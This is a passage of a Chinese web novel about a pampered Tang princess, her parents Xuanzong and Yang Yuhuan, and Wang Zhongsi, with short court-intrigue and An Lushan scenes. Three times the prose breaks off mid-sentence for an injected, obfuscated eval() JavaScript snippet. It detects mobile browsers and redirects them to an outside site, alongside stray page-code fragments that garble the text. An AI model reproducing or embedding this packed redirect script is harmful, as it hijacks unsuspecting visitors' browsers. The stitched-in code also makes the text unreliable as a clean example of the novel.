“忠嗣哥哥!”李婉宁开心地扑进了王忠嗣的怀里,“宁儿好想你!” 而后者伸出手臂托住她的小屁股,顺势把她抱起来掂了掂。 “哎哟,宁儿沉了!” “宁儿也长高了!”李婉宁鼓起小脸蛋,不服气地瞪着他,“宁儿才没有胖!” “胖一些多好啊。”王忠嗣一手托着怀里的李婉宁,说着伸出另一只手,捏了捏李婉宁软软的脸蛋,“肉肉的,才更可爱些。” 李婉宁撇了撇嘴:“那好吧。” 其实也不是她不想胖的,主要是人家就是胖不起来嘛...... 随后王忠嗣又捻起掉落在李婉宁鬓间的一缕碎发,替她别到耳后,温声问道:“宁儿怎么不让宫人用步辇送你过来?跑得发簪都歪了。” “步辇多慢呀。”李婉宁伸出小胳膊抱住王忠嗣的脖子,悠然地晃动着腾空的两条小腿,“宁儿想快点见到忠嗣哥哥嘛!” 王忠嗣不由得失笑。 就宁儿这两条小短腿,跑起来真未必有步辇快。 李婉宁见他笑了,连忙瞪着他:“忠嗣哥哥不许笑!” 别以为她不知道,忠嗣哥哥是在嘲笑她! “好好好,不笑不笑。”王忠嗣轻轻地拍了拍李婉宁的发顶,抱着她便往内殿走去。 就快要走进内殿时,李婉宁忽然想起了什么。 她睁着一双明亮的大眼睛,兴奋地问道:“忠嗣哥哥还记得上次离宫的时候,说过要给宁儿带什么东西吗!” 然而看着宁儿那双闪烁着期待的杏目,王忠嗣却是停下了脚步。 他那双锐利的剑眉微微皱起,似是努力思索了一番,最后才露出一副恍然大悟的模样。 “哎呀,忘了!” “啊?!”李婉宁当即瞪大眼睛,“明明是忠嗣哥哥亲口说的!” “忠嗣哥哥亲口说,下次来给宁儿带礼物来的!”她左右扭动着自己的小身子,不开心地在对方怀里折腾,“怎么可以忘记啊!” “忠嗣哥哥言而无信!” “呜呜呜,忠嗣哥哥是大坏蛋!” 见到这小丫头开始不安分了,王忠嗣伸出手指戳了戳她鼓起来的小脸蛋,含笑问道:“真生气了?” 李婉宁打开他的手,用那双水汪汪的杏目凶狠地瞪着他:“坏蛋哥哥,不要碰宁儿!” 恰好这时一大一小已经进了内殿,坐在太妃椅上的李隆基望着女儿气鼓鼓的模样,脸上露出了疑惑的神色。 “哎哟,宁儿怎么了?” 李婉宁连忙从王忠嗣的身上下来,跑过去扑进阿爹怀里,可怜巴巴地告状道:“阿爹,忠嗣哥哥上次离宫的时候,亲口说了下次来会给宁儿带礼物的,结果忠嗣哥哥忘了!” “这样啊。”李隆基摸了摸女儿的发顶,笑着指了指不远处的王忠嗣,“你怎么回事能对宁儿言而无信呢?该罚!” 王忠嗣失笑道:“好,臣认罚。” 末了,李隆基揉了揉女儿的发顶,温声问道:“宁儿是苦主,来,宁儿说要怎么罚?” “唔......”李婉宁那双秀丽的小眉头微微皱了皱,沉吟了片刻,最后道,“有了!” “就罚忠嗣哥哥不许吃晚饭!” “光是不许吃晚饭怎么成,得重罚!”李隆基含笑看向王忠嗣,“就罚你午饭也不准吃,今天饿两顿,听到了没!” “啊?”李婉宁有些傻眼,“那样肯定会挨饿的呀!” “就是得挨饿才能叫受罚啊。”李隆基笑眯眯地捏了捏女儿的脸蛋,“若是罚了和没罚没区别,那还罚他有什么用?” 他这般说着,又问王忠嗣:“这罚你认不认?” 结果王忠嗣却摊了摊手道:“那这罚臣可就不认了。” “嗯?”李隆基挑眉,“你对宁儿言而无信,居然还不认罚?” “陛下也说了,臣是因为言而无信才该罚的,可是臣没有言而无信啊。” 此言一出,李婉宁猛地从阿爹怀里转过身,诧异地看向王忠嗣。 这时,一直坐在一旁看戏的杨玉环轻轻地笑了。 她从身侧的桌子上拿出了一个精致的小盒子,递到女儿的面前:“宁儿看,这是什么?” 李婉宁微微瞪大眼睛,打开了那个小木盒子。 但见盒子里面放着的是一对金色的镂空小铃铛,那镂空的样式很是奇特,不像是大唐的东西。 李婉宁拿起其中一个小铃铛,登时,金色的铃铛轻轻地摇摆了起来,发出了清脆悦耳的响声。 而随着铃铛被拿了出来,她才发现,这铃铛还和一种奇怪的东西相连着。 那被铃铛连着的东西,很像是一只小耳朵的轮廓。 就和李婉宁的耳朵差不多大。 李婉宁不由得好奇道:“这是什么呀!” “这是吐蕃那边的耳饰,可以直接套在耳朵上,不需要耳洞。”王忠嗣说着来到李婉宁的身侧蹲下,接过李婉宁手里的小铃铛,轻轻地套在她的耳朵上,“就像这样。” 杨玉环看着很有意思,也从盒子里拿出另一个铃铛,套在了女儿的另一只耳朵上。 李婉宁左右晃动着小脑袋,清脆的响声不断地萦绕在耳边。 那张秀丽的小脸上露出了明亮的笑容:“哇,好棒呀!” 王忠嗣含笑着揉了揉她的发顶:“宁儿喜欢吗?” “宁儿喜欢,超级喜欢!”李婉宁抱住王忠嗣的脖子,凑近后者的脸庞亲了一口,“忠嗣哥哥最好了!” 李隆基笑着问道:“那现在宁儿还要罚你的忠嗣哥哥吗?” “不罚了不罚了!”李婉宁开心地摇头,“忠嗣哥哥明明给宁儿带礼物了,还要说没带!” 话落,李婉宁猛地意识过来。 好嘛,阿爹从开始就知道了,刚才是故意的! “宁儿知道了!”她两手叉起小腰,不开心地跺着脚,“你们是商量好了一起逗宁儿玩的!” “大人好坏!怎么可以合起伙来骗小孩子玩!” 此言一出,坏大人们都被逗得前仰后合。 王忠嗣今日入朝奏对,结束后被养父留下一同用午膳,饭桌上,讲了自任灵州节度使以来的不少趣事,权当是在话家常。 李婉宁也缠着要和阿爹兄长一起用膳,结果饭没怎么吃,光顾着听兄长讲故事了。 “哇,灵州原来这么好玩吗!”李婉宁兴奋地放下筷子,伸出两只小手去抓身侧阿爹的衣袖,撒娇道,“阿爹阿爹,宁儿也想去灵州玩!” 她决定了!这个冬天她不去华清宫了,她要去灵州! 华清宫她每年都会去,早就看腻了,可是灵州不一样啊,她都没去过灵州呢! “灵州可不好玩。”李隆基拍了拍女儿的小手,温柔道,“那里许多地方都荒无人烟,吃不好也睡不好,宁儿到那里可要吃许多苦头的!” 李婉宁撅起小嘴不开心道:“可是忠嗣哥哥说的那些都很好玩啊,能吃什么苦头嘛……” 闻言,李隆基微微一笑。 而后一针见血地问道:“到了那里,十天都不见得能浴身一次,宁儿受得了吗?” 此言一出,李婉宁当即不可思议地瞪大眼睛,全身都起了一层鸡皮疙瘩。 十天不洗澡,那不都臭了吗! 她连忙看向饭桌对面的王忠嗣,似是在像对方求证。 正要夹菜的王忠嗣微微一愣。 其实也未必,若是宁儿去了灵州,那自然方方面面都会是最好的待遇。 不过...... 王忠嗣偷偷瞟了身侧的养父一眼。 然后郑重其事地点了点头。 见状,李婉宁惊恐地瞪大眼睛。 “不要不要,宁儿不去了不去了!” 眼见着她苦着一张脸,小脑袋摇得跟个拨浪鼓似的,李隆基和王忠嗣都被逗笑了。 午膳过后,王忠嗣告退离宫。 李婉宁送忠嗣哥哥出了南薰殿,刚要走出殿门时,后者揉了揉她的小脑袋,温声道:“好了,送到这里就可以了。” “今日风大,宁儿快进去吧。” 李婉宁那双灵动的杏目微微眨了眨,秀丽的小脸缓缓露出了一个明亮的笑容:“那忠嗣哥哥下次有空也来看宁儿哦!” 王忠嗣不由得失笑道:“好。” ...... 等到送走了王忠嗣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14459720|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李婉宁又牵着阿爹的手一起去了阿娘的新射殿。 新射殿的院子里停着一顶足有六十四人抬的大步辇,以及几辆牛车,此时宫人们正在杨玉环的指挥下往牛车里搬运各种东西。 暖阳下,杨玉环那张倾城的容颜仿佛都被镀了一层光晕,满头华贵的金饰映着阳光熠熠生辉,衬得周围的一切都黯然失色。 “阿娘阿娘!”李婉宁跑过去抱住阿娘,在阿娘的怀里亲昵地蹭了蹭,“阿娘在做什么呀!” “阿娘在准备去华清宫的东西呢。”杨玉环捏了捏女儿的小鼻子,美艳的脸上浮起了一抹温柔的笑意,“宁儿午饭有没有好好吃呀,有没有挑食?” 李婉宁一直都有挑食的习惯,不仅仅是早饭只吃水果捞而不吃饭菜。 从小到大,她每顿饭从来都是只吃肉不吃菜。 尤其是绿色的菜,这丫头看见了就紧皱起眉头,仿佛那不是菜,而是什么毒药似的。 也就只有杨玉环亲自和女儿坐在一起吃饭的时候,才能盯着女儿稍微吃点菜。 可是她也没法顿顿都盯着女儿吃饭啊,而且宁儿这丫头太鬼机灵了,就算是有自己盯着,也净耍滑头。 想到此,杨玉环微不可闻地叹了口气。 果不其然,随着阿娘这一发问,李婉宁登时露出一副心虚的模样,转过身向着阿爹跑去了。 见状,杨玉环还有哪里是不知道的? 陛下和王将军都恨不得把宁儿宠到天上去了,这丫头说不喜欢吃菜,这俩人别说能管管了,怕是大手一挥,让宫人们把素菜全撤下去都有可能。 这般想着,她无奈地摇了摇头。 不过很快,李婉宁就又被阿爹牵回来了。 李隆基看着络绎不绝的宫人们,含笑着问道:“东西都已经准备好了?” 杨玉环轻轻点了点头,一双妍丽的眉眼轻弯着:“今日风有些大,不过明早便要出发了,耽误不得。” 话落间,冷风乍起,李婉宁不由自主地打了个喷嚏。 李隆基连忙把女儿揽进怀里,替女儿挡风。 侍立在李婉宁身后的大宫女巧织走上前来,将一早就带出来的披风盖到小殿下的身上。 感受到肩头蓦地一沉,李婉宁皱起秀丽的小眉头,不安分地在阿爹怀里扭了扭。 “披风好重,宁儿不要盖披风。” “这可不行。”李隆基宠溺地刮了刮女儿的小鼻子,“明日便要去华清宫了,若是染了风寒,可就泡不了温泉咯。” “哪有那么容易染风寒嘛。”李婉宁撇了撇小嘴。 闻言,李隆基不由得看向身边人:“哎哟,你们听听!” 真不知道是谁从小生病生到大。 高力士适时朝李婉宁赔笑道:“小殿下自小身子骨弱,隔三差五地生病,近日天气转冷得快,小殿下可千万别再受凉,免得惹陛下和娘娘担心啊。” “哦……”李婉宁这才老实地低下头。 这时杨玉环已经清点完了要带的东西,按照单子又核对了一遍,等到确认无误以后,把单子递给了自己身边的大宫女,施施然朝着父女两人走来。 动人的目光轻轻瞥过女儿垂头丧气的小脸,那张倾国倾城的脸上浮现出了一抹温柔的笑意:“宁儿怎么了?” “阿娘!”李婉宁连忙钻进阿娘的怀里,朝阿娘撒娇道,“阿娘亲亲!” “好。”杨玉环含笑着俯下身,在女儿的小脸上落下了轻轻一吻。 末了,她有些诧异道:“怎么小脸蛋这么凉啊?” 李隆基揉了揉女儿的发顶,末了又看向自己的贵妃,温声问道:“都已经收拾好了?” “都收拾好了。”杨玉环微微一笑,末了牵起女儿的小手,又摸了摸女儿柔软的小脸蛋。 小手也冰凉的,脸蛋也是。 她的宁儿自小体寒,冬天里动辄手脚冰凉,除非是一直待在烧着地龙的殿里才好些。 这般想着,杨玉环不禁问道:“宁儿冷么?” 李婉宁摇了摇头:“刚才有点冷,不过现在好啦!” “但是身上的披风好重啊。”她说着用小脑袋在阿娘的怀里蹭了蹭,“既然东西都收拾好了,阿爹阿娘我们回殿里去嘛~” 厚重的披风压得她身上,都快把她闷坏了。 李隆基一眼就看透了女儿的想法:“想把披风脱下来?” 李婉宁俏丽的小脸上露出了调皮的笑容,一手牵着阿娘,另一只手去牵阿爹,拉着两人往新射殿走去。 “那咱们快进去嘛~” “好好好。” 李隆基和杨玉环夫妻两人对视了一眼,含笑跟着女儿往新射殿去了。 21. 鹦鹉雪衣娘 翌日。 清晨的阳光透过薄纱窗撒进新射殿的偏殿,映得整个屋内明媚而又柔和。 此时,巧织正守在李婉宁的榻前,轻轻地拍着在榻上熟睡的小公主,柔声道:“小殿下,该起了。” 榻上的小身子动了动,发出一声轻哼:“不要……” 巧织的脸上露出一丝无奈的苦笑。 小殿下生性嗜睡,有时一觉甚至能睡六个时辰,这要是放在往日,别说是早上了,午时之前都别想小殿下能醒来。 可是今日不一样啊。 巧织好言好语地劝着:“小殿下,今日要去华清宫,早上就出发的,咱们该起了呀。” 李婉宁干脆把头缩进了被子里,不听她说话。 见状,巧织不由得叹了口气:“还有一个时辰咱们就要出发了,算算时辰,再不起咱们就要迟到了呀。” 被子里传来闷闷的声音:“不要,再睡一会儿……” “那到时候陛下、娘娘还有诸位殿下大臣们都到齐了,要让那么多人等咱们嘛?” 此言一出,被子里那鼓起的小小一坨终于动了动,而后不情不愿地从被子里爬了起来,缩进了巧织的怀里。 巧织连忙招呼小宫女们过来给小殿下穿鞋,然后背着仍旧闭着眼睛、昏昏沉沉的李婉宁下榻,给她梳洗打扮。 等到一切都收拾好了,李婉宁这才堪堪睁开惺忪的杏目,来到桌前用早膳。 今日早膳除了照旧的“水果捞”,还多了一小碗馄饨。 巧织先将馄饨推到李婉宁的面前,温声劝道:“咱们早晨出发,临近傍晚才能到华清宫,小殿下今日还是吃些面食吧。” “路上又不是没有吃的。”李婉宁瘪了瘪嘴,摇头道,“不要。” 巧织无奈地笑了:“虽说半路上也会停下来吃些干粮、野炊之类的,但到底也比不上宫里的膳食不是?” 她好说歹说了许久,终于哄着李婉宁吃了两个小馄饨,而后才把“水果捞”给吃完了。 等用完了早膳,李婉宁这才终于清醒了,她坐在椅子上伸了个懒腰,开心地跑去内殿找阿爹阿娘了。 内殿内,李隆基和杨玉环也早就收拾完毕了。 他们知道自家女儿向来不爱早起,要等到女儿收拾完毕,然后再一起出发,还得等上好一会呢。 夫妻两人等得没什么意思,于是招呼宫人搬棋具过来,两人下棋解闷。 宫人应声退下了,这时一只通体雪白的鹦鹉飞了过来,缓缓落在李隆基的肩头:“宁儿不起,下棋!宁儿不起,下棋!” 夫妻两人都被逗笑了,李隆基抚摸着鹦鹉雪白的羽毛,含笑道:“瞧瞧,雪衣都知道宁儿嗜睡了。” 雪衣伸出头轻轻地啄了啄主人的手指,末了又飞到女主人的肩头,亲昵地蹭了蹭,主打一个两边都讨好。 没过多久,宫人便将棋具都搬了过来,棋盘放在两人中间,李隆基执黑子,杨玉环执白子,夫妻二人便开始了下棋。 于棋艺一道,李隆基的技术是不差的,只是可惜他的对手是自己的妻子。 杨玉环算是纵棋的高手了,至少整个皇宫,无人能出其右。 偏偏李隆基是个又菜又爱玩的,每次输给妻子他都不服,不服就会想着再下一局赢回来。 于是他时常能一输输一天。 可是李隆基好歹是堂堂皇帝啊,一次两次也就罢了,连着败在妻子手里,那不是太丢面了? 于是后来,每当李隆基落入下风的时候,宫人总都会想办法帮陛下耍赖。 那耍赖的方法嘛,便是喊雪衣过来,把棋盘弄乱,这样李隆基就能光明正大地说:“都怪雪衣,不然咱们还能再杀三百个回合。” 瞧着丈夫这厚脸皮的模样,杨玉环只能哭笑不得地认了。 这招屡试不爽,而雪衣每次也非常配合。 因为每次成功完成任务,事后主人必会奖励它好吃的零嘴。 就比如此时,眼见着陛下将要落入下风,高力士连忙左右小声唤道:“雪衣——雪衣——” 只是这时却不见雪衣的身影。 末了,小宦官悄悄来到高力士身侧,小声道:“高公公,雪衣方才飞出去了。” “啊?”高力士傻眼了,“它出去做什么,你们怎么都不跟着?!” 小宦官摇了摇头表示不知道,末了又解释道:“雪衣很聪明,时常自己去殿外玩,玩完了也知道回来,因此小的们就没……” 他话音未落,便被高力士铁不成钢地瞪了一眼。 真是不知道审时度势! 随后高力士又看向陛下和娘娘那边,瞧见陛下紧缩的眉头,只能在心里叹了口气。 看来这一局,陛下是只能输咯。 而杨玉环瞧见丈夫愁苦的模样,估摸着这时候雪衣也快来了,有些没趣地往后倚了倚。 然而她等了许久,都没见到雪衣的身影,那张倾国倾城的脸上不由得绽放出了一个妩媚的笑容。 “陛下,雪衣好像出去玩了呢。” 她对面的李隆基正死死地盯着棋盘,踌躇该往何处落子,愁得汗都要流出来了。 再听见妻子的话,他只能苦笑一声。 就当他自己都觉得此局必输的时候,忽地正殿响起了雪衣的喊声:“宁儿起了!宁儿起了!” 而后是李婉宁清脆稚嫩的声音:“雪衣讨厌!不许说宁儿!” 原来雪衣方才飞出去是去找小主人了,大概是它也觉得小主人现在该起了,要亲自去喊小主人起床。 彼时李婉宁才刚从偏殿出来,便见到雪衣迎面朝自己飞了过来,而后缓缓落在李婉宁的肩头。 “宁儿起得晚,宁儿小懒猪!宁儿起得晚,宁儿小懒猪!” 身后的宫人们都捂住嘴偷笑。 李婉宁那张娇俏的小脸几乎是瞬间变得通红,可是她也不能打雪衣啊,只好伸出手指着雪衣,生气道:“雪衣不许说,雪衣讨厌!” 闻言,雪衣有些委屈地“咕咕”了两声,而后轻轻地啄了啄小主人的脸蛋。 “宁儿,亲亲!” “哈哈哈,好痒!”李婉宁被雪衣啄得痒痒的,她笑着亲了亲雪衣的头顶,“亲亲雪衣!” 末了,雪衣亲昵地蹭了蹭小主人,而后飞到李婉宁身前,用爪子勾住她颈间的金链,想要带着她往前走。 “去内殿!找陛下!找娘娘!” “好!”李婉宁笑着点了点头,便带着雪衣朝内殿跑去了。 一人带着一鸟才刚进入内殿,一股清新宜人的香味顿时扑面而来。 这种熏香叫做麒龙脑,是根据波斯那边进贡的瑞龙脑调制出来的,气味清新,经久不散,尤其可提神醒脑。 据说在她出生以前,波斯进贡瑞龙脑十枚,阿爹就把那十枚瑞龙脑全给了阿娘。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467205|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>后来因着瑞龙脑太过稀罕,用一枚就少一枚,于是阿爹就派人调制出了和瑞龙脑相似的麒龙脑,也是专供阿娘一人使用。 至于她嘛,前世她还一直纳闷,古人无论男女都喜欢用熏香,这是个什么雅致不成。 后来她才知道,原来是因为古代人都不爱洗澡,时间久了身体就臭了,需要用熏香来盖住味道! 那她还用这玩意干嘛,她洗澡洗得可勤快了,身上本来都是香香的,才用不着那玩意! 不过因着她有一个“牡丹仙子”的名号,所以巧织姐姐她们每年夏天都喜欢把牡丹花瓣收集起来,给她做成小香囊,这样她的身上也会有着淡淡的牡丹香。 每次巧织姐姐她们给自己换完了香囊以后,都会满意地摸着她的头道:“这样才是咱们的小牡丹仙子嘛。” 说得好像她若是不戴这个香囊,就不是牡丹仙子似的。 不过什么仙子不仙子的,她根本不在意啦。 毕竟就算她不是牡丹仙子,那她也是大唐的长安公主,也是阿爹和阿娘最好的宝贝女儿! 这般想着,李婉宁跟着雪衣蹦蹦跳跳地跑到阿爹和阿娘身前:“阿爹阿娘!” 彼时李隆基正手执黑子,纠结了许久,不知该将棋子落在何处。 正愁苦间,见到雪衣终于回来了,而且还是带着女儿一起来的,顿时松了口气。 这俩小家伙要是再晚来一刻钟,自己怕是就一败涂地了。 李隆基连忙将黑子扔回到玉缸里,笑眯眯地揉了揉女儿的发顶:“宁儿吃过早饭了吗?” 不愧是我的宝贝闺女,好样的! 杨玉环早就知道自己丈夫什么德行,笑了笑没出声。 李婉宁开心地点头:“宁儿吃饱啦!” 末了她又转眼看到面前的棋盘,只见那棋盘上几乎快要被白子围满了,只剩下零星的几个黑子孤军奋战。 李婉宁惊讶道:“哇,阿爹是快输了吗?” 此言一出,杨玉环捧腹大笑,李隆基老脸一红,不自然地咳了一声:“宁儿来,阿爹教宁儿一句话。” 李婉宁睁着一双明亮的杏目眨巴眨巴:“什么话呀?” 李隆基摆正姿态,脸上露出了一个高深莫测的神情:“只要事情未到绝境,鹿死谁手犹未可知。” 李婉宁十分配合地点了点头,做出了一副郑重的模样:“好,宁儿记住了!” 于是杨玉环笑得更大声了。 最后李隆基无奈地从太妃椅上站了起来:“高力士,现在是个什么时辰了?” 高力士含笑走上前来,体贴道:“回陛下,正巧到了该启程去华清宫的时辰了。” “好!”李隆基牵起女儿的手,末了转头看向贵妃,面上闪过一丝无奈,“爱妃别笑了,咱们该走了。” 杨玉环忍笑着点了点头,随后又看向一旁的巧织:“今日的风是比昨日小了一些,但还是有些冷,你去偏殿再给宁儿拿一件披风出来吧。” 巧织应声退了下了,李婉宁登时垮起了一张脸:“怎么又要穿披风啊?” 那玩意,真、的、很、沉! 杨玉环捏了捏女儿的小脸蛋,温声道:“宁儿若是觉得冷咱们再穿,不冷就不穿。” “那好吧!”李婉宁说着伸出另一只小手牵起阿娘,娇俏的小脸上露出了兴奋的笑容,“咱们快出发吧!” “去华清宫咯!好耶!” 22. 很像她的手 因着陛下要游幸华清宫,今日长安城东南处的延兴门早早便清了场,待到陛下率领亲王诸臣启程后,才重新向百姓开放。 彼时皇子王孙与诸位大臣们早已在延兴门外汇合,遥远地望见陛下的仪仗,纷纷跪下行礼。 唐朝尚武,百官无论文臣武将,能骑马上朝的绝不坐车,如果哪个官员是坐车辇上朝的,那一定会被同僚以为是已经病入膏肓、半身不遂了。 即便是出城游玩,男子也都更青睐于骑马,至于步辇,一般是女子才会坐的。 前提还得是那些不喜欢骑马的女子。 正比如此刻,杨玉环自己一个人坐在步辇里悠悠地看着街外的景色,而今年已经六十八岁高寿的李隆基则骑着御马一路在前边疾驰。 至于李婉宁呢,那当然是坐在阿爹的怀里,一起骑高头大马兜风啦。 “驾,驾驾!”李婉宁坐在阿爹身前开心地喊着,“照夜白冲呀!” 身下的白色御马叫了一声,跑得更快了。 因这一跑快,迎面而来的风也愈加得剧烈,很快李婉宁就打了个喷嚏。 “阿嚏——!” 见状,李隆基连忙轻拉缰绳,让照夜白慢了下来。 而后轻轻地揉了揉女儿的小脑袋:“让你调皮。” 李婉宁那双明亮的杏目弯成了月牙的形状,“嘿嘿嘿”地笑了。 很快,李隆基就带着女儿来到了延兴门外,令众人平礼后,几个年岁和李婉宁相仿的孩子们纷纷来到了照夜白身侧,兴奋地望着李婉宁,“小姑姑”、“小姑祖母”地喊着。 这些都是李婉宁兄长们的儿子孙子,也就是她的侄子和呃……侄孙们。 李隆基老来得女,李婉宁出生的时候,她的三哥李亨连孙子都好几岁了。 因此李婉宁生来就站在了辈分的顶点。 这些侄子和侄孙们都很喜欢李婉宁,对于这些孩子而言,小姑姑/姑祖母聪明又可爱,和她在一起玩,总是能见识到很多有趣的事情。 小姑姑/姑祖母就是他们的大姐头。 再加上大姐头是陛下最宠爱的小公主,他们的父母在临行前告诫他们好多次了,要哄好小姑姑/姑祖母,多和她亲近,不要欺负她。 这些他们当然知道啊!小姑姑/姑祖母可厉害了,他们都是争着当大姐头身边的二把手的,怎么会欺负她呢! 正比如此刻,孩子王李婉宁无奈地被阿爹抱下马,欲哭无泪地看着面前双眼放光的小孩哥们。 其实她,一、点、也、不、想,应付小孩! 她又不是真的小孩子! 但是她爹李隆基却很乐于看到自己的女儿和孙子重孙们关系和睦、其乐融融的景象,他轻轻地拍了拍自家闺女的脑袋,温声道:“去吧!” 此言一出,小孩哥们不约而同地欢呼了一声,随后一拥而上,开心雀跃地把大姐头带走了。 被小孩哥们带走的那一瞬间,李婉宁的眼中闪过了各种人间疾苦。 没过一会儿,杨玉环乘着步辇也过来了。 她缓缓地下了步辇,只见亲王和诸臣们都已经到齐了,丈夫正骑在马上望着远处,脸上带着慈祥的笑意。 杨玉环左瞧瞧右看看,没瞅见女儿的影子,不由得问道:“宁儿呢?” “那儿呢。”李隆基伸出手指了指。 杨玉环顺着丈夫手指的方向看去,只见自家女儿被一群孩子们簇拥在中间,正在其中一个孩子的搀扶下,试图爬上一匹小马驹。 “这,别摔着呀。” “没事,那么多人当肉垫呢。”李隆基的脸上仍旧带着温和的笑意。 要真能把他女儿摔着,这帮混蛋小子们就等着挨板子吧。 闻言,杨玉环无奈地摇了摇头:“该启程了吧?” “对。”李隆基含笑点了点头,“高力士,吩咐下去,即刻准备启程。” 高力士应了声,下去传话了。 很快,随着启程的命令传到,停留在原地的众人们纷纷都动了起来。 此时,诸臣那边的队伍中,一辆宽敞的牛车内,李林甫正坐在车里,低头抿了一口酒,悠悠道:“李某说的,杨员外可都记住了?” 他面前的杨钊满脸都是惊喜:“只要在明年陛下回长安巡视府库前,用轻货布匹将府库充盈满就可以?!” 李林甫微微点头:“届时,即便陛下没有给杨员外升官的打算,李某也会为杨员外请命。” 他面前的杨钊忙不迭点头,脸上充斥着谄媚的笑意。 “谢谢相公能给下官这个机会!” 李林甫含笑应着。 这时,外边忽地响起了一道声音:“禀相公,陛下有令,命诸王百官即刻启程。” 李林甫淡淡道:“知道了。” 见此,杨钊十分审时度势地告退了。 “那下官就不继续打扰相公了!” “望相公华清宫此行身心愉悦!” 待到杨钊从牛车里以后,左右观望着没有人注意这边,猫着腰迅速离开了游幸华清宫的队伍。 他今日是乔装打扮成了下人的模样混进来的,如今人多混杂,没有人会注意到一个下人的行踪。 他躲在远处看着游幸的队伍逐渐远去,有那么一瞬间,杨钊想着,若是他也能在这支队伍里该多好啊。 王公贵族,名门权臣,这可是......人生的顶点啊! 他就这么痴痴地望着队伍离去的方向,直到守城的士兵朝他吆喝道:“愣着干什么呢,还进不进城了!” 闻言,杨钊匆匆回过神,连忙进城去了。 他要利用一整个冬天,从大唐各地搜罗物资来充盈府库。 这可是关乎到他前途的大事,耽误不得呢。 · 这个冬天,亦或者说自李婉宁记事以来的每个冬天,都是跟着阿爹阿娘在华清宫度过的。 他们要在华清宫一直待到第二年开春,才会回长安。 华清宫倚骊山而筑,冬暖夏凉,无论是避寒还是避暑,都是个极好的去处。 若非今年的夏天不那么热,本来他们夏天也会去华清宫的。 不过李婉宁还是觉得冬天的华清宫更好,等到泡完了温泉,在暖阁里烘干身子,看着窗外雪花将天地都染成了白色,美极了。 就这样,天气变得越来越冷,冬天渐渐地来了。 而身处大唐地界最东北的营州,早就已经银装素裹。 自从坐稳了营州都督的位子,安禄山的家里是越来越热闹了。 今日他家中设宴,丝竹管弦作乐,安禄山坐在家中的主座上,侍女们分别侍奉在他和属下们身侧。 舞女们跳得是大唐如今最时兴的胡旋舞,跳到高潮之时,领舞的那一个旋转着来到了安禄山的面前。 舞女轻盈的身体越过案桌不断地贴近安禄山,从他的手里接过酒杯,喝了一口,而后亲手将酒杯举到了他的唇边。 安禄山轻轻地笑了,就着舞女的手将杯中酒饮尽。 他的目光顺着酒杯落到了舞女的手上,那洁白细嫩的手宛若青葱一般,细细的、小小的。 待到舞女将酒喂完,要转回去时,安禄山却一把拉住了她。 舞女眼中闪过一丝笑意,顺势倒进了安禄山的怀里。 其他人对此早已见怪不怪了,其余的舞女们见到领舞下场,自动变换队形,顶上了那人的空位。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14474181|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舞女没骨头一般地倒在安禄山的怀里,那细嫩的手指点在了他的下巴上:“见过都督。” 而安禄山则轻轻地握住了她的手,细细地端详着。 像,太像了…… 小小的、洁白如雪一般,像极了那只拿着蓝色手帕,给他擦汗的手。 舞女见都督看着自己的手失神,从善如流地笑了:“都督喜欢奴家的手吗。” 这双手可是她最得意的地方。 她所见过的大多数贵人,都是痴迷于自己的相貌,唯有极少数慧眼识珠,能脱离于脸蛋,而注意到她这双细嫩的手。 而那些能注意到的,无不对她流连忘返。 果不其然,安禄山轻轻地抚摸着舞女光滑的手,沙哑的嗓音带着几分低沉的磁性:“你的手很美。” 于是舞女笑得更加妩媚了。 下属见到自己带来的舞女成功俘获了都督的青睐,含笑着将整个舞队都献给了安禄山。 同时也在心里感叹。 怪道同僚都说都督眼光挑剔,一般姿色的女人根本就入不了都督的青眼啊。 他先前献上的歌姬舞姬们,没有一个能被都督看上的,唯独这一个,是他费了好大劲才搜罗来了。 结果都督还真就只看上了这一个。 不过都督肯收就好,那他就没白费那么多的人力和物力。 等到晚宴结束,其他的舞女们都被安排去了住处,唯独领舞的那个被留了下来。 烛火熄灭以后,整个屋里昏暗无比,窗外不断地响起冷风呼啸的声音。 舞女忽地有些害怕,她知道面前的男人在营州权势滔天,而且威猛强健,仅凭她的身份,面前的男人几乎算是最好的归宿。 她知道自己应该去尽力讨好面前的男人、侍奉他,让他痴迷自己,离不开自己,最好纳自己为妾。 可是当屋内陷入了昏暗,面前的男人雄壮的身躯宛若一座大山,铺天盖地地笼罩在她面前。 ……她侍奉过许多男人,知道强壮的男人粗鲁的时候,有多么得可怕。 更何况,面前的男人比她见过的所有男人都要强壮。 舞女很害怕,面前的男人待会儿会怎样残暴地对她? 想到此,她的全身都在微微颤抖。 这时,面前的男人开口了:“你冷么?” 她感觉到自己的双手被面前的男人握在手心里,包裹着她的手掌宽大而又温暖。 